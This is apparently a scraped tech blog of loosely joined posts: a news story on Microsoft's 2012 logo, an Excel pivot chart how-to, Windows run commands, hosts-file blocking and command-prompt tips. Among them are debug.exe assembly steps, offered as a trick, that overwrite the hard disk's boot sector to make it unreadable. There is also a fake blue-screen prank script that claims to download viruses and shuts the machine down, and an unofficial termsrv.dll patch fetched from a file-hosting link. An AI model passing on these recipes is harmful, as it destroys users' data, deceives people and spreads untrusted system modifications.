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Windows Logo Colors

source: http://blogs.technet.com/b/microsoft_blog/archive/2012/08/23/microsoft-unveils-a-new-look.aspx

Microsoft gets a new logo for the first time since 1987

A lot is at stake when a company changes its logo, and Microsoft changed it a number of times in its early years.

By Janet I. Tu

Seattle Times technology reporter

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For the first time in 25 years, Microsoft is changing its corporate logo.

Microsoft, which has used its solid, boldfaced, italicized logo since 1987, is expected to unveil its new, more colorful logo Thursday at the Boston opening of the 23rd Microsoft store. It will also appear Thursday at the Seattle and Bellevue Microsoft stores, as well as on the microsoft.comhome page.

The new logo, which incorporates a multicolored Windows symbol in addition to the "Microsoft" name in straightforward, lighter type, is intended to "signal the heritage but also signal the future — a newness and freshness," said Jeff Hansen, Microsoft's general manager of brand strategy.

It's coming at a time when the company is preparing to launch new or significantly updated versions of nearly every one of its products, from Windows to Windows Phone to Office.

Many of those products will feature a new look and feel — cleaner, with fewer borders and less clutter, and more colorful tile-based designs.

Given all that, "we felt it was a good time to express the newness in the Microsoft logo as well," Hansen said.

The new logo features the name "Microsoft" in the Segoe font — a font Microsoft owns and has used in its products and marketing for several years. The font also figures prominently in the new Windows 8 user interface.

The "f" and "t" in the name "Microsoft" are connected in the new logo, just as they were in the old. "It was one of the subtleties we thought we could bring forward," Hansen said.

For the first time, the company's logo will also include a symbol: In this case, a square formed by four multicolored square tiles — reminiscent of the company's multihued Windows logo in years past. (Ironically, Windows 8's new logo is now single-colored.)

The colors in the squares — blue, orange, green and yellow — are those long associated with Microsoft and from which the company's product brands draw.

The colors are also meant to convey "the diversity of our products and the diversity of people that we serve," Hansen said.

The new logo also bears great resemblance to, and is an evolution of, the Microsoft Store logo, which was inspired by the Windows flag.

A lot is at stake when a company changes its logo.

A logo is the instant communication of a brand, said Barbara Kahn, professor of marketing at The Wharton School of the University of Pennsylvania. "It's what is seen time and time again," she said.

A strong logo, she said, needs to be "distinctive, clearly identified with the brand and consistently used over time."

The new logo marks the fourth time Redmond-based Microsoft has changed it since the company was founded in 1975 and only the second time since Microsoft went public in 1986.

Microsoft's first logo, used from 1975 to 1979, evokes its era, with its disco-y typeface. The multilined logo, with "Micro" on the first line and "Soft" on the second, reflects how co-founders Bill Gates and Paul Allen supposedly came up with the original company name "Micro-Soft" — something that reflected both "microcomputers" and "software."

The second logo, with some jagged edges and strong diagonals, was used from 1980 to 1981 and reflected the computer and video-game culture of the time, Hansen said.

The third logo, used from 1982 to 1986, introduced a stylized letter "o" with lines through it — meant to symbolize the hyphen between "Micro" and "Soft," Hansen said. The stylized "o" was referred to fondly on campus as the "blibbet" and, at one time, the cafeteria on campus served a "Blibbet Burger."

The Microsoft logo most people are familiar with today was the one the company started using in 1987. It featured a slice in the "o," a connection between the letters "f" and "t." Compared with the earlier logos, it looks more solid, stable — corporate.

The newest logo starts its rollout Thursday, making its appearance on several well-trafficked areas of Microsoft.com, as well as the company's official Microsoft pages for Twitter and Facebook.

The new logo will also be used on a new wave of TV commercials in the next few weeks and on the new products being released this fall and into the holiday season.

"The majority of the items that people see from the company — websites, marketing, communications — people will be seeing the new logo pretty quickly," Hansen said.

Janet I. Tu: 206-464-2272 or jtu@seattletimes.com. On Twitter @janettu.

Information in this article, originally published Aug. 23, 2012, was corrected August 24, 2012. A previous version of this story said the new Microsoft logo marked the fifth time the company has changed it. In fact, it is the fourth time.

Creating Pivot Charts in Excel

well creating charts in excel is very very easy, I am using Microsoft Excel 2007.. yeah yeah its kinda old..

i never tried it in Open Office.. hmm....hmm..well.this is my data for my example....

click the under "Insert; tab click the "Pivot Table" icon, you will get a dropdown,
select the "Pivot Chart"

here's a better look :)

Once you click you'll get a popup

You get this.. well i left the default options as it is....

now lets create that Chart..
lets go the "PivotTable Field List"

click the one field, you'll get a column in the sheet.. mAGiKaL!!!! :))

the chart....

Windows 7 Home Premium Remote Desktop Hack

by default Remote Desktop is not available for Window 7 Home Premium
i also tried adding new rule in the firewall TCP port# 3389 but didnt work :)

Configuration:
Laptop running Window 7 Ultimate
PC running Window 7 Home Premium w/o SP1

extract the run the .exe, backup up termsrv.dll just in case :)
download link: http://www.mediafire.com/?xgj71fgh8jmtrdu

* only administrators group users can access remote desktop by default :)

find ports in your local PC

well I am not talking something about a port scanner, simple stuff get all the ports in your PC.

well you could try telnet localhost 33307

i am talking about netstat command.... in a prevoius blog post i mentioned about a tool in linux (iftop)

netstat - gives you all network statistics,

netstat -no | find /i "established"


netstat -n Displays addresses and port numbers in numerical form.
netstat -o Displays the owning process ID associated with each connection.

and the find command to filter out the established connection(s)..

NetBeans for PHP

the new NetBeans 7.0 (seven point O) is superb... dont believe just check it out. I was struggling with Adobe's Dreamweaver CS5 and Eclipse with my new php project.. needed version control.. debugging, automatic coding, intelligent interpreter which understands as well write code... just kidding..  yea yea i did spent the entire day configuring SVN with eclipse (but i failed with DW CS5). NetBeans is very easy.. its almost Microsoft Visual Studio its freeee.. totally totally free... dont forget check out the pluggin page as well. Oops dont forget to check the webcast page as well... superb tool or IDE... the download is very small if you wanna download the entire thing it would be around 250MB, but you choose the flavour you want... 

Download the latest NetBeans 7.0 from http://netbeans.org/

http://netbeans.org/downloads/index.html

choose the IDE Language and the platform (Windows, Linux(x86/x64), Solaris(x86/x64), Mac OS X, OS Independent Zip --didnt try this option)

please double click the NetBeans IDE 7.0 and enjoy coding or just looking at it may be :))

Fix Windows 7 boot loader

boot your system with Windows 7 DVD
when you get to the second screen (after you choose your language) go to repair your computer.
go to command prompt and type this in without the quotes (") :
"bootrec /fixmbr"
press enter.
Type this in without the quotes (") :
"bootrec /FixBoot"
press enter.
Restart.

windows tips

use onscreen keyboard
start > run > osk
----- ----- ----- ----- ----- ----- ----- windows version
start > run > winver
----- ----- ----- ----- ----- ----- -----
windows host file
C:\WINDOWS\SYSTEM32\DRIVERS\ETC

127.0.0.1 myspace.com
----- ----- ----- ----- ----- ----- -----
network connections
start >run > ncpa.cpl
appwiz.cpl -- Used to run Add/Remove wizard
Calc --Calculator
Cfgwiz32 --ISDN Configuration Wizard
Charmap --Character Map
Chkdisk --Repair damaged files
Cleanmgr --Cleans up hard drives
Clipbrd --Windows Clipboard viewer
Control --Displays Control Panel
Cmd --Opens a new Command Window
Control mouse --Used to control mouse properties
Dcomcnfg --DCOM user security
Debug --Assembly language programming tool
Defrag --Defragmentation tool
Drwatson --Records programs crash & snapshots
Dxdiag --DirectX Diagnostic Utility
Explorer --Windows Explorer
Fontview --Graphical font viewer
Fsmgmt.msc -- Used to open shared folders
Firewall.cpl -- Used to configure windows firewall
Ftp -ftp.exe program
Hostname --Returns Computer's name
Hdwwiz.cpl -- Used to run Add Hardware wizard
Ipconfig --Displays IP configuration for all network adapters
Logoff -- Used to logoff the computer
MMC --Microsoft Management Console
Msconfig --Configuration to edit startup files
Mstsc -- Used to access remote desktop
Mrc -- Malicious Software Removal Tool
Msinfo32 --Microsoft System Information Utility
Nbtstat --Displays stats and current connections using NetBIOS over TCP/IP
Netstat --Displays all active network connections
Nslookup--Returns your local DNS server
Osk ---Used to access on screen keyboard
Perfmon.msc -- Used to configure the performance of Monitor.
Ping --Sends data to a specified host/IP
Powercfg.cpl -- Used to configure power option
Regedit --Registry Editor
Regwiz -- Registration wizard
Sfc /scannow -- System File Checker
Sndrec32 --Sound Recorder
Shutdown -- Used to shutdown the windows
Spider -- Used to open spider solitaire card game
Sfc / scannow -- Used to run system file checker utility.
Sndvol32 --Volume control for soundcard
Sysedit -- Edit system startup files
Taskmgr --Task manager
Telephon.cpl -- Used to configure modem options.
Telnet --Telnet program
Tracert --Traces and displays all paths required to reach an internet host
Winchat -- Used to chat with Microsoft
Wmplayer -- Used to run Windows Media player
Wab -- Used to open Windows address Book.
WinWord -- Used to open Microsoft word
Winipcfg --Displays IP configuration
Winver -- Used to check Windows Version
Wupdmgr --Takes you to Microsoft Windows Update
Write -- Used to open WordPad

interview Qs & As

http://www.coolinterview.com/

To block websites...

To block websites from accessing at your computer, just follow below steps:

1. Browse to C:\Windows\System32\drivers\etc.

2. Look for a file named as hosts, then open it with Notepad.

3. At the bottom of the file, add the line as shown below:

127.0.0.1 www.facebook.com

www.facebook.com is an example of website URL which you would like to block, just replace it with the actual URL so that they are unaccessible to all.

4. If you have more websites that would like to be blocked, just press Enter and repeat step 3 to add additional URL until all desired websites are added.

5. At the last line of the URL that you have entered, add an extra carriage return by pressing Enter.

6. Save and close the file.

To block websites from accessing at your computer, just follow below steps:
1. Browse to C:\Windows\System32\drivers\etc.
2. Look for a file named as hosts, then open it with Notepad.
3. At the bottom of the file, add the line as shown below:
127.0.0.1 www.facebook.com
www.facebook.com is an example of website URL which you would like to block, just replace it with the actual URL so that they are unaccessible to all.
4. If you have more websites that would like to be blocked, just press Enter and repeat step 3 to add additional URL until all desired websites are added.
5. At the last line of the URL that you have entered, add an extra carriage return by pressing Enter.
6. Save and close the file.

make the Hard Disk unreadable in 30 sec

Warning do this at your own risk..

1. Click Start.
2. In the Search field, type CMD and press Enter.
3. In the Command Prompt type the following codes:

1. Type debug.
2. Type: A and hit Enter.
3. Now type the following codes (do not forget to hit Enter at the end of each code):
4. MOV AX, 0301
5. MOV BX, 0020
6. MOV DX, 0080
7. INT13
8. Hit Enter once again.
9. Type G and hit Enter.
10. Done!

Godmode in Window 7

i recently came across a video in youtube of window 7 tricks...


to access all control panel features create a new folder and attach the following string at the end
.{ED7BA470-8E54-465E-825C-99712043E01C}

C:\>mkdir jerome
C:\>ren jerome jerome.{ED7BA470-8E54-465E-825C-99712043E01C}

BSOD Prank

REF: http://www.instructables.com/id/CMD_Tricks_101/step5/BSODBlue-Screen-Of-Death/


REM *******************************************************

@echo off
cd /
cls
color 17
echo A problem has been detected and Windows has been shut down to prevent damage
echo to your computer.
echo.
echo The problem seems to be caused by the following file: SPCMDCON.SYS
echo.
echo PAGE_FAULT_IN_NONPAGED_AREA
echo.
echo If this is the first time you've seen this stop error screen,
echo restart your computer. If this screen appears again, follow
echo these steps:
echo.
echo Check to make sure any new hardware or software is properly installed.
echo If this is a new installation, ask your hardware or software manufacturer
echo for any Windows updates you might need.
echo.
echo If problems continue, disable or remove any newly installed hardware
echo or software. Disable BIOS memory options such as caching or shadowing.
echo If you need to use Safe Mode to remove or disable components, restart
echo your computer, press F8 to select Advanced Startup Options, and then
echo select Safe Mode.
echo.
echo Technical information:
echo.
echo *** STOP: 0x00000050 (0xFD3094C2,0x00000001,0xFBFE7617,0x00000000)
echo.
echo.
echo *** SPCMDCON.SYS - Address FBFE7617 base at FBFE5000, DateStamp 3d6dd67c
pause >nul
cls
echo Downloading viruses . . .
ping localhost -n 5 >nul
dir /s
pause >nul
shutdown -s -t 120 -c "Your computer has committed suicide, have a nice day."

REM *******************************************************

Windows command prompt - cmd.exe

The situation:

I use the command prompt in Windows and was wanting to save my history. After searching the internet I never did find a way to save my history between sessions, but I came across some hints and tips that were useful. So I am posting any tips I already knew along with those I came across. Links to sites that I gathered info from are at the bottom of the post.

Here are the settings I change for the command prompt. What's nice is that the changes will be remembered once you have set them if you want them to. You get at these settings by right clicking on the title bar and choosing "Properties"
======================================
Options > Cursor Size > Small
Options > Command History > Buffer Size > 100
Options > Command History > Number of Buffers > 4
Options > Command History > Discard Old Duplicates > Checked
Options > Display Options > Window
Options > Edit Options > Quick Edit Mode > Checked
Options > Edit Options > Insert Mode
Font > Size > 8x12
Font > Font > Raster Fonts
Layout > Screen Buffer Size > Width > 128
Layout > Screen Buffer Size > Height > 512
Layout > Window Size > Width > 128
Layout > Window Size > Height > 64
Layout > Window Position > Let system position window > Checked
Colors > Screen Text > 255,255,255
Colors > Screen Background > 0,0,0
Colors > Popup Text > 0,0,255
Colors > Popup Background > 255,255,255

Hints and tips
============================================

1. "Up Arrow" key will take you back through the command history
2. "Down Arrow" key will take you forward in the command history
3. The "Tab" key will auto-fill a directory or file name for you
4. Put quotes around paths with spaces in them
5. Left-click and drag to highlight text and then right-click to copy
6. Right-click to paste copied text
   

Function keys
============================================
ESC - Clear the command line
F1 - Enters the last command one character at a time
F2 - PopUp "Enter char to copy up to:"
F3 - Re-types the last command in history
F4 - PopUp "Enter char to delete up to:"
F5 - Moves back in history one line at a time. (Remembers where it's been)
F6 - Types "^Z" to the command line
F7 - PopUp of command history in a numbered list
F8 - Moves back in history one line at a time. (Loops back to beginning)
F9 - PopUp "Enter command number:"
F10 -
F11 -
F12

IP addresses work, Domain names don't

Windows Error: IPs work, Domain names don't

res://C:\WINDOWS\SYSTEM\SHDOCLC.dll/dnserror.htm

Click "Start"
Click "Run"
Type into the run box "regsvr32.exe /i shdocvw.dll"

You should see a dialog box that says: "Registerserver and dllinstall in shdocvw succeeded".

Press OK then reboot the system.

How to register an ActiveX control (.ocx) manually

You can use the Microsoft Register Server (Regsvr32.exe) to register a 32- bit .ocx file manually on a 32-bit operating system

Regsvr32 [/u] [/s] 

Note
  /u means Unregister the .ocx file.
  /s means Silent Mode (display no messages).

Ref http://support.microsoft.com/kb/146219
    

notepad trick #1

If you press F5 in notepad, it will insert current date and time in the file. I think most of us know about this notepad trick. It is also mentioned in the Edit menu of the notepad.

Notepad isn't really that bad. It also has a few tricks. For instance, if you want to insert the time and date, simply hit F5. Or, if you want to "log" the times you edit a particular text file, be sure to type: ".LOG" (without the quotes) as the first line of that file and save it. Now every time you open it up, the current date and time will be automatically stamped into it.